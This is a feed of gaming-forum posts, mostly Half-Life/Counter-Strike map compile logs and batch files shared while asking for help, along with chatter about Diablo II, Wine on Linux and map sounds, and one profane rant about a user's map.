- Contains 0 used textures, 0.00 percent of map (1 textures in wad)
Using Wadfile: \archivos de programa\valve hammer editor\textures\cs_bdog.wad
- Contains 0 used textures, 0.00 percent of map (132 textures in wad)
Using Wadfile: \archivos de programa\valve hammer editor\textures\cstrike.wad
- Contains 3 used textures, 2.83 percent of map (123 textures in wad)
Using Wadfile: \archivos de programa\valve hammer editor\textures\halflife.wad
- Contains 103 used textures, 97.17 percent of map (3116 textures in wad)
Including Wadfile: \archivos de programa\valve hammer editor\textures\zhlt.wad
- Contains 0 used textures, 0.00 percent of map (7 textures in wad)

added 26 additional animating textures.
Texture usage is at 1.28 mb (of 4.00 mb MAX)
5.69 seconds elapsed

----- END hlcsg -----



hlbsp v3.4 Final (Feb 25 2006)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (amckern@yahoo.com)
----- BEGIN hlbsp -----
Command line: hlbsp new

Current hlbsp Settings
Name | Setting | Default
-------------------|-----------|-------------------------
threads [ 1 ] [ Varies ]
verbose [ off ] [ off ]
log [ on ] [ on ]
developer [ 0 ] [ 0 ]
chart [ off ] [ off ]
estimate [ off ] [ off ]
max texture memory [ 4194304 ] [ 4194304 ]
priority [ Normal ] [ Normal ]

noclip [ off ] [ off ]
nofill [ off ] [ off ]
noopt [ off ] [ off ]
null tex. stripping [ on ] [ on ]
notjunc [ off ] [ off ]
subdivide size [ 240 ] [ 240 ] (Min 64) (Max 512)
max node size [ 1024 ] [ 1024 ] (Min 64) (Max 8192)


SolidBSP [hull 0] 500...1000...1500...2000...2500...3000...3500...3651 (0.56 seconds)
BSP generation successful, writing portal file 'new.prt'
SolidBSP [hull 1] 500...1000...1500...2000...2500...2769 (0.39 seconds)
SolidBSP [hull 2] 500...1000...1500...2000...2285 (0.25 seconds)
SolidBSP [hull 3] 500...1000...1500...2000...2500...3000...3301 (0.50 seconds)
5.98 seconds elapsed

----- END hlbsp -----



hlvis v3.4 Final (Feb 25 2006)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (amckern@yahoo.com)
----- BEGIN hlvis -----
Command line: hlvis new
2000 portalleafs
6360 numportals

-= Current hlvis Settings =-
Name | Setting | Default
-------------------|-----------|-------------------------
threads [ 1 ] [ Varies ]
verbose [ off ] [ off ]
log [ on ] [ on ]
developer [ 0 ] [ 0 ]
chart [ off ] [ off ]
estimate [ off ] [ off ]
max texture memory [ 4194304 ] [ 4194304 ]
max vis distance [ 0 ] [ 0 ]
priority [ Normal ] [ Normal ]

fast vis [ off ] [ off ]
full vis [ off ] [ off ]


BasePortalVis:
(16.73 seconds)
LeafThread:
(588.34 seconds)
average leafs visible: 233
g_visdatasize:185693 compressed from 500000
605.31 seconds elapsed [10m 5s]

----- END hlvis -----



hlrad v3.4 Final (Feb 25 2006)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (amckern@yahoo.com)
----- BEGIN hlrad -----
Command line: hlrad new

-= Current hlrad Settings =-
Name | Setting | Default
--------------------|---------------------|-------------------------
threads [ 1 ] [ Varies ]
verbose [ off ] [ off ]
log [ on ] [ on ]
developer [ 0 ] [ 0 ]
chart [ off ] [ off ]
estimate [ off ] [ off ]
max texture memory [ 4194304 ] [ 4194304 ]
max lighting memory [ 6291456 ] [ 6291456 ]
priority [ Normal ] [ Normal ]

vismatrix algorithm [ Original ] [ Original ]
oversampling (-extra)[ off ] [ off ]
bounces [ 1 ] [ 1 ]
bounce dynamic light [ on ] [ on ]
ambient light [ 0.000 0.000 0.000 ] [ 0.000 0.000 0.000 ]
maximum light [ 255.000 ] [ 256.000 ]
circus mode [ off ] [ off ]

smoothing threshold [ 50.000 ] [ 50.000 ]
direct threshold [ 25.000 ] [ 25.000 ]
direct light scale [ 2.000 ] [ 2.000 ]
coring threshold [ 1.000 ] [ 1.000 ]
patch interpolation [ on ] [ on ]

texscale [ on ] [ on ]
patch subdividing [ on ] [ on ]
chop value [ 64.000 ] [ 64.000 ]
texchop value [ 32.000 ] [ 32.000 ]

global fade [ 1.000 ] [ 1.000 ]
global falloff [ 2 ] [ 2 ]
global light scale [ 1.000 1.000 1.000 ] [ 1.000 1.000 1.000 ]
global gamma [ 0.500 0.500 0.500 ] [ 0.500 0.500 0.500 ]
global light scale [ 1.000 ] [ 1.000 ]
global sky diffusion [ 1.000 ] [ 1.000 ]

opaque entities [ on ] [ on ]
sky lighting fix [ on ] [ on ]
incremental [ off ] [ off ]
dump [ off ] [ off ]

colour jitter [ 0.0 0.0 0.0 ] [ 0.0 0.0 0.0 ]
monochromatic jitter [ 0.0 0.0 0.0 ] [ 0.0 0.0 0.0 ]
softlight hack [ 0.0 0.0 0.0 0.0 ] [ 0.0 0.0 0.0 0.0 ]
diffuse hack [ on ] [ on ]
spotlight points [ on ] [ on ]

custom shadows with bounce light
[ off ] [ off ]
rgb transfers [ off ] [ off ]


[Reading texlights from 'lights.rad']
[59 texlights parsed from 'lights.rad']

10271 faces
Create Patches : 61936 base patches
0 opaque faces
741186 square feet [106730832.00 square inches]
621 direct lights

BuildFacelights:
(256.94 seconds)
visibility matrix : 228.7 megs
BuildVisLeafs:
(521.19 seconds)
MakeScales:
(388.91 seconds)
SwapTransfers:
(59.44 seconds)
Transfer Lists : 89240962 : 89.24M transfers
Indices : 32580736 : 31.07M bytes
Data : 356963848 : 340.43M bytes
GatherLight:
(20.28 seconds)
FinalLightFace:
(16.95 seconds)
1269.94 seconds elapsed [21m 9s]

----- END hlrad -----

If you want i can upload the .map file.

THANKS

In Linux by Down Rodeo:
There is a software package known as "Wine" that allows certain Windows executables to be run in a Linux environment. For instance I can play Diablo II on my Linux install but not Diablo I (it used to work but broke some time ago). Steam works, as do all Source-based games; the best thing to do would be to check the Wine Application Database for a list of programs and to what extent they work.

In change standard gravity on map by kristofferm:
Is it possible to make a map, where the standard gravity is 100 ?? so when you play it, you dont have to, go console and type sv_gravity 100... ??

is this possible ?

In d2lod help by Mate de Vita:
Down Rodeo said:
This and this.

Well, I want to be able to play online...

In Some problems :S by Mate de Vita:
a TWHL tutorial said:
Not Toggled (32) - Older FGDs show this as Not Looped. Specifies that the sound is to be played only once. With this flag checked, each time the entity is triggered it will play once. If it is not checked, triggering it will cause the sound to alternate between on and off.

In Glory by Down Rodeo:
The internet tells me that someone has released a patch for Diablo II whereupon extra video modes (anything up to 1440 wide I think) are unlocked for your delectation and enjoyment. The downside is that you can't play on Battle.net, so I guess that pretty much puts you guys off. But still! Sexytime!

I'll report back when I've tried it.

In Some problems :S by Nicker:
Hey...
Im making map with rain for zombie... And i put rain with env_rain and its ok... I want to add some sounds, becouse i want to make it more scary ...
Ambience_generic is very complicated, can some one tell me how to make one ambience_generic (ambience\rain.wav) play all time (dont stop) and other (ambience\thunderclap.wav) play some time (exaple. on every 30sec....)
Thank you

In Summer by jrkookid:
Aye Yo Sloth, We should get a lot of people to join the network and play a hugeass LAN game!

In [Reward!] Compile CS map from Valve Hammer Editor [Reward!] by Down Rodeo:
superjer said:
Down Rodeo said:
[...] I can't help as I [...] am currently running Ubuntu which means no Hammer or compile tools [...]


Hey! Don't think you're off the hook... Hammer works fine on Ubuntu (wine) and so do the compile tools (native). And CS works fine, too (wine).

For me Hammer works better on Ubuntu. None of that GL_Shutdown_MakeCurrent Failed Whatever error, for example.

Ok, fair play. But Steam uses all of one of the cores on my laptop for doing nothing! I have to say, that's one of the weirder Wine things I've found.

I will admit that I assumed nothing would work. Have you not found worse OGL performance with 9.04 compared to 8.10 though?

In Left 4 dead online by john:
john said:
this is shite i cant play live 4 daed


In Left 4 dead online by john:
this is shite i cant play live 4 daed

In Map doesn't show up in maplist after compile by Big Boss:
Breaking news with a bold tag: Swine flu is the new cancer.


Hello again forum members. I have a problem .
So let's say, I compile my map, Put ALL the files I got with my map.bsp into my Counter Strike's map folder. I launch CS. Then I open up New Game. Then when I am choosing the map I don't find my map. The only way to launch it is with the "map mapname" command in the console. That doesn't help, 'cause I want to play with some buddies over LAN. Can anybody help me with this?

Thank you in advance.

In [Reward!] Compile CS map from Valve Hammer Editor [Reward!] by Mate de Vita:
awhippo said:
lol your funny "ahwippo" so funny lol am holding my side o and stfu you sound like a nerd i just told him to redo the map bro forums is stupid lil 9 year old white kids talk shit lol i think i will be the bigger man " am sorry i hurt you feelings it is a grate map don't remake it you just play it man JUST PLAY it you can map i believe in you! jrkookid sorry that i was truthful and told you bf to remake a map i did not mean to am wrong your right god i with i was as cool as you that's why i hate one you man i just want to be like you YOUR GRATE!!


ps. The map was made wrong if you was a map maker you would know that and you would shut your fucking mouth.

pss. Look at the map fuck head its all fucked up. You want me to tell the truth he has tables to big grass as not a grass texture.
The spawns are to close if its a bomb map he should have ct in side t out not t and ct out side. But its a school map it should be cs map with hostages in side with ts and the cts has to go in a get the hostages. But the hall ways are to big the doorway to big the computer to big. Everything needs to be remade or edited if you want to remember your school the way it was do it right. If that is to mean or hurt your pore lil fillings am sorry your so sensitive.

psss. I was just trying the help the guy do it right. But if you don't like me i don't give a fuck.

Wow, wow, wow. Dude! It's just kookid! You don't need to get all emotional

In [Reward!] Compile CS map from Valve Hammer Editor [Reward!] by awhippo:
lol your funny "ahwippo" so funny lol am holding my side o and stfu you sound like a nerd i just told him to redo the map bro forums is stupid lil 9 year old white kids talk shit lol i think i will be the bigger man " am sorry i hurt you feelings it is a grate map don't remake it you just play it man JUST PLAY it you can map i believe in you! jrkookid sorry that i was truthful and told you bf to remake a map i did not mean to am wrong your right god i with i was as cool as you that's why i hate one you man i just want to be like you YOUR GRATE!!


ps. The map was made wrong if you was a map maker you would know that and you would shut your fucking mouth.

pss. Look at the map fuck head its all fucked up. You want me to tell the truth he has tables to big grass as not a grass texture.
The spawns are to close if its a bomb map he should have ct in side t out not t and ct out side. But its a school map it should be cs map with hostages in side with ts and the cts has to go in a get the hostages. But the hall ways are to big the doorway to big the computer to big. Everything needs to be remade or edited if you want to remember your school the way it was do it right. If that is to mean or hurt your pore lil fillings am sorry your so sensitive.

psss. I was just trying the help the guy do it right. But if you don't like me i don't give a fuck.




In Steam? by jrkookid:
I used to have a hamachi server but noone would want to play but i guess I can play with you and your friends.

In Compile error ZHLT by deathkiller:
Guys,

[ Varies ]
verbose [ off ] [ off ]
log [ on ] [ on ]
developer [ 0 ] [ 0 ]
chart [ off ] [ off ]
estimate [ off ] [ off ]
max texture memory [ 4194304 ] [ 4194304 ]
priority [ Normal ] [ Normal ]

noclip [ off ] [ off ]
null texture stripping[ on ] [ on ]
clipnode economy mode [ on ] [ on ]
onlyents [ off ] [ off ]
wadtextures [ off ] [ on ]
skyclip [ on ] [ on ]
hullfile [ None ] [ None ]
min surface area [ 0.500 ] [ 0.500 ]
brush union threshold [ 0.000 ] [ 0.000 ]

Using mapfile wad configuration
Wadinclude list :
[zhlt.wad]

0 brushes (totalling 0 sides) discarded from clipping hulls
CreateBrush:
(0.09 seconds)
SetModelCenters:
(0.00 seconds)
CSGBrush:
(0.08 seconds)

Using Wadfile: \games\cs 1.6\the game\the game\cstrike\cstrike.wad
- Contains 1 used texture, 50.00 percent of map (25 textures in wad)

Warning: ::FindTexture() texture CORE_URBAN_023 not found!
Warning: ::LoadLump() texture CORE_URBAN_023 not found!
Texture usage is at 0.02 mb (of 4.00 mb MAX)
0.20 seconds elapsed

----- END hlcsg -----



hlbsp v2.5.3 rel Custom Build 1.7 (Dec 9 2002)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (merlinis@bigpond.net.au)
----- BEGIN hlbsp -----
Command line: hlbsp hide

Current hlbsp Settings
Name | Setting | Default
-------------------|-----------|-------------------------
threads [ 2 ] [ Varies ]
verbose [ off ] [ off ]
log [ on ] [ on ]
developer [ 0 ] [ 0 ]
chart [ off ] [ off ]
estimate [ off ] [ off ]
max texture memory [ 4194304 ] [ 4194304 ]
priority [ Normal ] [ Normal ]

noclip [ off ] [ off ]
nofill [ off ] [ off ]
null tex. stripping [ on ] [ on ]
notjunc [ off ] [ off ]
subdivide size [ 240 ] [ 240 ] (Min 64) (Max 512)
max node size [ 1024 ] [ 1024 ] (Min 64) (Max 4096)


Warning: No entities exist in hull 0, no filling performed for this hull
Warning: No entities exist in hull 1, no filling performed for this hull
Warning: No entities exist in hull 2, no filling performed for this hull
Warning: No entities exist in hull 3, no filling performed for this hull
0.02 seconds elapsed

----- END hlbsp -----



hlvis v2.5.3 rel Custom Build 1.7 (Dec 9 2002)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (merlinis@bigpond.net.au)
----- BEGIN hlvis -----
Command line: hlvis hide
Error: Portal file 'hide.prt' does not exist, cannot vis the map


----- END hlvis -----



hlrad v2.5.3 rel Custom Build 1.7 (Dec 9 2002)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (merlinis@bigpond.net.au)
----- BEGIN hlrad -----
Command line: hlrad hide
>> There was a problem compiling the map.
>> Check the file hide.log for the cause.


----- END hlrad -----

and yes i made my mape name Hide

And this is how my batch file looks

@echo off
hlcsg -nowadtextures hide
hlbsp hide
hlvis hide
hlrad hide
copy hide.bsp "D:\games\CS 1.6\the game\The game\cstrike\maps"
cd "D:\games\CS 1.6\the game\The game"
pause
hl -dev -console -game cstrike +sv_cheats 1 +map hide

the first time i tryded it worked fine
(only 3 blocks and 1 light and 2 spawns for CT and Terorr)

So i made a cool new big map and now it false

I checkt my map nothing outside the box or anything its just fucked up

i compiled it and i got a error and i got a bsp from it ! but when i play/lauche the bsp i get a black green so the error didt fuck up my map


i really need a way to fix this can somebody help me with it !?



In gay ZHLT problem :( by deathkiller:
Guys,

oke guys i got the same error !

[ Varies ]
verbose [ off ] [ off ]
log [ on ] [ on ]
developer [ 0 ] [ 0 ]
chart [ off ] [ off ]
estimate [ off ] [ off ]
max texture memory [ 4194304 ] [ 4194304 ]
priority [ Normal ] [ Normal ]

noclip [ off ] [ off ]
null texture stripping[ on ] [ on ]
clipnode economy mode [ on ] [ on ]
onlyents [ off ] [ off ]
wadtextures [ off ] [ on ]
skyclip [ on ] [ on ]
hullfile [ None ] [ None ]
min surface area [ 0.500 ] [ 0.500 ]
brush union threshold [ 0.000 ] [ 0.000 ]

Using mapfile wad configuration
Wadinclude list :
[zhlt.wad]

0 brushes (totalling 0 sides) discarded from clipping hulls
CreateBrush:
(0.09 seconds)
SetModelCenters:
(0.00 seconds)
CSGBrush:
(0.08 seconds)

Using Wadfile: \games\cs 1.6\the game\the game\cstrike\cstrike.wad
- Contains 1 used texture, 50.00 percent of map (25 textures in wad)

Warning: ::FindTexture() texture CORE_URBAN_023 not found!
Warning: ::LoadLump() texture CORE_URBAN_023 not found!
Texture usage is at 0.02 mb (of 4.00 mb MAX)
0.20 seconds elapsed

----- END hlcsg -----



hlbsp v2.5.3 rel Custom Build 1.7 (Dec 9 2002)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (merlinis@bigpond.net.au)
----- BEGIN hlbsp -----
Command line: hlbsp hide

Current hlbsp Settings
Name | Setting | Default
-------------------|-----------|-------------------------
threads [ 2 ] [ Varies ]
verbose [ off ] [ off ]
log [ on ] [ on ]
developer [ 0 ] [ 0 ]
chart [ off ] [ off ]
estimate [ off ] [ off ]
max texture memory [ 4194304 ] [ 4194304 ]
priority [ Normal ] [ Normal ]

noclip [ off ] [ off ]
nofill [ off ] [ off ]
null tex. stripping [ on ] [ on ]
notjunc [ off ] [ off ]
subdivide size [ 240 ] [ 240 ] (Min 64) (Max 512)
max node size [ 1024 ] [ 1024 ] (Min 64) (Max 4096)


Warning: No entities exist in hull 0, no filling performed for this hull
Warning: No entities exist in hull 1, no filling performed for this hull
Warning: No entities exist in hull 2, no filling performed for this hull
Warning: No entities exist in hull 3, no filling performed for this hull
0.02 seconds elapsed

----- END hlbsp -----



hlvis v2.5.3 rel Custom Build 1.7 (Dec 9 2002)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (merlinis@bigpond.net.au)
----- BEGIN hlvis -----
Command line: hlvis hide
Error: Portal file 'hide.prt' does not exist, cannot vis the map


----- END hlvis -----



hlrad v2.5.3 rel Custom Build 1.7 (Dec 9 2002)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (merlinis@bigpond.net.au)
----- BEGIN hlrad -----
Command line: hlrad hide
>> There was a problem compiling the map.
>> Check the file hide.log for the cause.


----- END hlrad -----

and yes i made my mape name Hide

And this is how my batch file looks

@echo off
hlcsg -nowadtextures hide
hlbsp hide
hlvis hide
hlrad hide
copy hide.bsp "D:\games\CS 1.6\the game\The game\cstrike\maps"
cd "D:\games\CS 1.6\the game\The game"
pause
hl -dev -console -game cstrike +sv_cheats 1 +map hide

the first time i tryded it worked fine
(only 3 blocks and 1 light and 2 spawns for CT and Terorr)

So i made a cool new big map and now it false

I checkt my map nothing outside the box or anything its just fucked up

i compiled it and i got a error and i got a bsp from it ! but when i play/lauche the bsp i get a black green so the error didt fuck up my map


i really need a way to fix this can somebody help me with it !?




In The Man With The Plan by awhippo:
I have ran out of ideas so i need someone that has a good idea for a map. It can be what ever map you want it to be as long as it has these requirements.

Has to be a big map.

Has to take sometime to make.

Has to be a map that would be fun to play on.

That's really it I don't care if its a stupid idea like someone told me on a email to make a map with flying dildos. stupid idea but i still make it so back to the point. If you have a idea comment back or email me at luckycs2008@gmail.com

In CS is crashing now... by dasmowboardpro:
So basically after following the walkthrough to make a map and then finally getting it so that no errors would appear... CS crashes whenever i attempt to load any map. There is no error file and no log so... any suggestion? Thanks.

Edit: I did not remove any files from the steam or valve folders, but this is seriously messing with my CS as it wont even let me load a different map other than the one i made. Fast help would be greatly appreciated, i want to play again. :P

Edit Edit: I lied. There is a log file and here it is.

hlcsg v2.5.3 rel Custom Build 1.7 (Dec 9 2002)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (merlinis@bigpond.net.au)
----- BEGIN hlcsg -----
Command line: hlcsg -nowadtextures brian
Entering brian.map

Current hlcsg Settings
Name | Setting | Default
---------------------|-----------|-------------------------
threads [ 2 ] [ Varies ]
verbose [ off ] [ off ]
log [ on ] [ on ]
developer [ 0 ] [ 0 ]
chart [ off ] [ off ]
estimate [ off ] [ off ]
max texture memory [ 4194304 ] [ 4194304 ]
priority [ Normal ] [ Normal ]

noclip [ off ] [ off ]
null texture stripping[ on ] [ on ]
clipnode economy mode [ on ] [ on ]
onlyents [ off ] [ off ]
wadtextures [ off ] [ on ]
skyclip [ on ] [ on ]
hullfile [ None ] [ None ]
min surface area [ 0.500 ] [ 0.500 ]
brush union threshold [ 0.000 ] [ 0.000 ]

Using mapfile wad configuration
Wadinclude list :
[zhlt.wad]

0 brushes (totalling 0 sides) discarded from clipping hulls
CreateBrush:
(0.00 seconds)
SetModelCenters:
(0.00 seconds)
CSGBrush:
(0.01 seconds)

Using Wadfile: usersbriandesktopnew folder (5)cstrike.wad
- Contains 1 used texture, 100.00 percent of map (123 textures in wad)
Including Wadfile: usersbriandesktopnew folder (5)zhlt.wad
- Contains 0 used textures, 0.00 percent of map (3 textures in wad)

Texture usage is at 0.02 mb (of 4.00 mb MAX)
0.04 seconds elapsed

----- END hlcsg -----



hlbsp v2.5.3 rel Custom Build 1.7 (Dec 9 2002)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (merlinis@bigpond.net.au)
----- BEGIN hlbsp -----
Command line: hlbsp brian

Current hlbsp Settings
Name | Setting | Default
-------------------|-----------|-------------------------
threads [ 2 ] [ Varies ]
verbose [ off ] [ off ]
log [ on ] [ on ]
developer [ 0 ] [ 0 ]
chart [ off ] [ off ]
estimate [ off ] [ off ]
max texture memory [ 4194304 ] [ 4194304 ]
priority [ Normal ] [ Normal ]

noclip [ off ] [ off ]
nofill [ off ] [ off ]
null tex. stripping [ on ] [ on ]
notjunc [ off ] [ off ]
subdivide size [ 240 ] [ 240 ] (Min 64) (Max 512)
max node size [ 1024 ] [ 1024 ] (Min 64) (Max 4096)


BSP generation successful, writing portal file 'brian.prt'
0.03 seconds elapsed

----- END hlbsp -----



hlvis v2.5.3 rel Custom Build 1.7 (Dec 9 2002)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (merlinis@bigpond.net.au)
----- BEGIN hlvis -----
Command line: hlvis brian
1 portalleafs
0 numportals

-= Current hlvis Settings =-
Name | Setting | Default
-------------------|-----------|-------------------------
threads [ 2 ] [ Varies ]
verbose [ off ] [ off ]
log [ on ] [ on ]
developer [ 0 ] [ 0 ]
chart [ off ] [ off ]
estimate [ off ] [ off ]
max texture memory [ 4194304 ] [ 4194304 ]
max vis distance [ 0 ] [ 0 ]
priority [ Normal ] [ Normal ]

fast vis [ off ] [ off ]
full vis [ off ] [ off ]


BasePortalVis:
(0.00 seconds)
LeafThread:
(0.00 seconds)
average leafs visible: 1
g_visdatasize:3 compressed from 1
0.01 seconds elapsed

----- END hlvis -----



hlrad v2.5.3 rel Custom Build 1.7 (Dec 9 2002)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (merlinis@bigpond.net.au)
----- BEGIN hlrad -----
Command line: hlrad brian

-= Current hlrad Settings =-
Name | Setting | Default
--------------------|---------------------|-------------------------
threads [ 2 ] [ Varies ]
verbose [ off ] [ off ]
log [ on ] [ on ]
developer [ 0 ] [ 0 ]
chart [ off ] [ off ]
estimate [ off ] [ off ]
max texture memory [ 4194304 ] [ 4194304 ]
priority [ Normal ] [ Normal ]

vismatrix algorithm [ Original ] [ Original ]
oversampling (-extra)[ off ] [ off ]
bounces [ 1 ] [ 1 ]
ambient light [ 0.000 0.000 0.000 ] [ 0.000 0.000 0.000 ]
maximum light [ 255.000 ] [ 256.000 ]
circus mode [ off ] [ off ]

smoothing threshold [ 50.000 ] [ 50.000 ]
direct threshold [ 25.000 ] [ 25.000 ]
direct light scale [ 2.000 ] [ 2.000 ]
coring threshold [ 1.000 ] [ 1.000 ]
patch interpolation [ on ] [ on ]

texscale [ on ] [ on ]
patch subdividing [ on ] [ on ]
chop value [ 64.000 ] [ 64.000 ]
texchop value [ 32.000 ] [ 32.000 ]

global fade [ 1.000 ] [ 1.000 ]
global falloff [ 2 ] [ 2 ]
global light scale [ 1.000 1.000 1.000 ] [ 1.000 1.000 1.000 ]
global gamma [ 0.500 0.500 0.500 ] [ 0.500 0.500 0.500 ]
global light scale [ 1.000 ] [ 1.000 ]
global sky diffusion [ 1.000 ] [ 1.000 ]

opaque entities [ on ] [ on ]
sky lighting fix [ on ] [ on ]
incremental [ off ] [ off ]
dump [ off ] [ off ]

colour jitter [ 0.0 0.0 0.0 ] [ 0.0 0.0 0.0 ]
monochromatic jitter [ 0.0 0.0 0.0 ] [ 0.0 0.0 0.0 ]
softlight hack [ 0.0 0.0 0.0 0.0 ] [ 0.0 0.0 0.0 0.0 ]
diffuse hack [ on ] [ on ]
spotlight points [ on ] [ on ]

custom shadows with bounce light
[ off ] [ off ]
rgb transfers [ off ] [ off ]


56 faces
Create Patches : 594 base patches
0 opaque faces
9557 square feet [1376256.00 square inches]
1 direct lights

BuildFacelights:
(0.01 seconds)
visibility matrix : 0.0 megs
BuildVisLeafs:
(0.02 seconds)
MakeScales:
(0.03 seconds)
SwapTransfers:
(0.00 seconds)
Transfer Lists : 280962 : 280.96k transfers
Indices : 4092 : 4.00k bytes
Data : 1123848 : 1.07M bytes
GatherLight:
(0.01 seconds)
FinalLightFace:
(0.04 seconds)
0.17 seconds elapsed

----- END hlrad -----

In LEROOOOOOOOOOOOOOOY JENKNS!!!!!!!!!!! by Down Rodeo:
Yes, a clan staged it. People who play World of Warcraft too much spotted many issues with it. Wikipedia doesn't say but I think it was.

In aids v herpeys by fedex _:
i made some bhop maps they are pretty easy to make , deathrun however is kinda hard in my level of mapping... i think you should make a map of death run that would be really cool , cause there fun when u play them with other people on servers/

In Sound ?! by Mate de Vita:
Make sure the volume isn't set to 0.
Make sure the start volume isn't set to 0.
Make sure the sound is in .wav format and is no longer than... 3 minutes, I think?
Make sure the 'start silent' flag is off.

Also note that if you want the sound to be heard across the whole map instead of just around the place where the ambient_generic was placed, you have to check the 'play everywhere' flag.

In What is Wrang? by Sloth:


http://www.fpsbanana.com/members/maps/459982


Any tips on how to get my maps popular, ?
I want to play my maps on a server, instead alone with bots.. Poorly i can't afford one

In d2lod help by aaronjer:
Do you want to play the game normally first or have me rush you? I'll totally play through normally with you if you want. It'd be like fun.

In Metal Wolf Chaos by NatureJay:
Quote:
Michael Wilson is the President of The United States, a relative of some kind of Woodrow Wilson as a parallel to the real life presidency of George W. Bush of the time of the game's release[1]. Vice President Richard Hawk (a play on the term War Hawk, and possibly a parody of Dick Cheney's influence) decides to usurp Wilson's presidency, shifts the armed forces' loyalty to him and attacks Wilson with their support.

However, Wilson escapes from the White House in his powered armor, and after reaching Air Force One flies to the west coast of the United States. He then starts to take America back by liberating cities and outposts going from west to east.

When Wilson returns to the White House, Hawk isn't there. Wilson discovers that he's in Las Vegas and goes there to fight his usurper, but he escapes in a rocket and goes to a space station. Wilson and Hawk battle in space, with the President ultimately saving the United States of America from nuclear destruction and destroying his enemy.


http://en.wikipedia.org/wiki/Metal_Wolf_Chaos

In YA by SolidKAYOS:
Mate de Vita said:
omg I'm such a dumbass :X
15:43:42 EDT
Mate de Vita said:
I tried to log in to battle.net from another computer and now I can't log in to US West any more.
15:43:50 EDT
Mate de Vita said:
And my brother says this is for 30 days...
15:43:53 EDT
Mate de Vita said:
30 DAYS!
15:44:16 EDT
Mate de Vita said:
I'm gonna kill someone at blizzard for this.
16:14:07 EDT
Mate de Vita said:
I was so angry I nearly strangled my cat.
16:14:18 EDT
Mate de Vita said:
And by nearly I mean I would've if I had one.
17:54:20 EDT
reece said:
you play too much wow then.
18:41:44 EDT
NatureJay said:
A girl sitting across from me in the lounge is methocially pressing Sun Chips into her mouth.
18:42:08 EDT
NatureJay said:
She stairs blankly into the the wall, seeming to take no heed of what is around her.

In d2lod help by Mate de Vita:
turnip1 said:
aaronjer said:
What game are you playing, again?

Are you gonna make me go play that game get my merc to use frost nova take a screen shot upload it to photobucket and put a link on here for you?

OK, go ahead. I can assure you NO merc in diablo 2 uses frost nova. Not even the cold caster Iron Wolf. The problem here I believe is that you don't even know what frost nova is...

Oh and don't argue with AJ about D2. Been there, done that.

In d2lod help by turnip1:
aaronjer said:
What game are you playing, again?

Are you gonna make me go play that game get my merc to use frost nova take a screen shot upload it to photobucket and put a link on here for you?

In pleeeeeez help me!!! by SuperJer:
Even if you download it, you won't be able to play without a valid Steam account.

In pleeeeeez help me!!! by flameir:
i recently moved to another country and we werent able to take my pc with me. and thus i lost cs 1.6. now i need to download it agn. i searched all over the net but everything over there was bullshit. i need a legit link or something datl download cs 1.6 fr me. (torrents will do too)
help!!!!!!


p.s: if it helps( im in the u.a.e) (i heard it affects the way you track servers to play on)


help me!!!!!

In any one dotas? by aaronjer:
Doesn't anyone want to come play Dota with us? :(

In Diablo 2 by Mate de Vita:
Havokk Edge said:
Mate de Vita said:
Look. Your computer can run Diablo 2. End of story.

Shd I play Diablo 1 before Diablo 2?

Not really...

phoenix_r said:
Aww read another one Papa Mate! Please? Puuuhhlllleeaaaassssssee?!

OK, here it is. Once upon a time there was a . He lived a happy life until one day there came a . And the was like and the was like . And while he was the went and ate all his tuna. So the was like and the was like . And then they were like . In the end one was and the other was and . And so ends a story of two . They lived happily ever before.

Now go to bed!

In Diablo 2 by SolidKAYOS:
Mate de Vita said:
Look. Your computer can run Diablo 2. End of story.


Shd I play Diablo 1 before Diablo 2?

In lol cool i think by aaronjer:
Wait... you WANT to play WoW?

In Diablo 2 by SolidKAYOS:
I used to play alot of Final Fantasy XI.

Hume Dragoon Level 72/Sub Job Samurai Lvl 36/or Blue Mage Level 36



By What i can remember my Jobs are:

Warrior Lvl 26
Red Mage Lvl 42
White Mage Lvl 21
Black Mage lvl 10
Thief lvl 18
Paladin lvl 21
Dark Knight lvl 13
Blue Mage lvl 38
Samurai lvl 37
Beastmaster lvl 2(Hated that job)
Dragoon lvl 72 ( <33 )
Ninja lvl 15
Ranger lvl 18

Dont remember anymore. I do remember i still had my Hakutaku eye cluster i bought for 250k gil so i could get my O hat for my DRG and no one would help me cause they are assholes even though i help their asses all the time so i left...

I never could get the Wings of the goddess expansion since i only had the other 3 i couldnt get Dancer. and I was not interested into getting Corsair or Puppetmaster. Corsair DID look fun but it was very fucking expensive for bullets.
Oh I was Rank 6 In Bastok. Ima a shadowlord killer two timer!

Maat was easy as cake. My first time fighting him though i forgot i didnt have my 2 hour so he whipped my ass. Well... actually i almost killed him.

I had my assault jerkin oh it was a beauty.

